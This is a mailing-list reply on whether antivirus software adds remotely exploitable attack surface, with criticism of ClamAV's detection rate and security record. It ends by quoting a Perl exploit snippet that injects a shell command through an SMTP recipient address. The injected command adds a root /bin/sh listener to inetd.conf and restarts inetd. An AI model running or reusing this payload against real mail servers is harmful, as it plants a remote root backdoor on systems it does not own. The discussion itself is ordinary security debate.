Re: Possible Mail server compromise ?

["Faas M. Mathiasen" <faas.m.mathiasen () googlemail com>]

Dear Bob,

> > Jon Oberheide send me some impressive statistics with regards of
> > vulnerabilities within AV Software, interesting enough most of them
> > are remotely exploitable :O
> Most?  I would expect most to offer patches quickly.
Yep most of them, if AV software scans data that comes from a remote
source it is remotely exploitable.
But it all depends on who is your enemy, if your enemy is a script kiddie
then yes patching helps. If your up to enemies developing zero days I guess
that won't help.

> That sounds like "snake oil".  The more code (i.e., adding their
> product) the greater the "remotely exploitable attack surface".
I'd like to disagree : Not really. Only code that deals with data that
can be manipulated by an attacker is "exploitable
attack surface", so if you only add code that is static and does not
parse, nor deal with data
an attacker can manipulate, your exploitable attack surface does in
fact _not_ grow, that's not snake oil
but a simple fact, I guess =)

Anyways in this case I am not sure about it, have you read the
"Security through No-Parsing" paradigma ? They apparently don't parse
the data and put everything in a sealed environment. knowing these
guys found these bugs
(http://www.nruns.com/parsing-engines-advisories.php)
I guess they know what they are talking about ?? But then again you never know.

> We have developed an excellent spam and virus filter that uses ClamAV as
> the virus signature matching engine and have had great success with it.
> We also add our own proprietary virus filtering on top of ClamAV to
> block most viruses too new to have a signature.
ClamAV ? Lowest detection rate in the industry, no on-access scans and
an Anti-virus that was vulnerable to such bugs
[1] you consider a great success ? I don't know who you are protecting
but I hope they were not vulnerable to this :

[1]
print $sock "ehlo you\r\n";
print $sock "mail from: <>\r\n";
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root
/bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
print $sock "data\r\n.\r\nquit\r\n";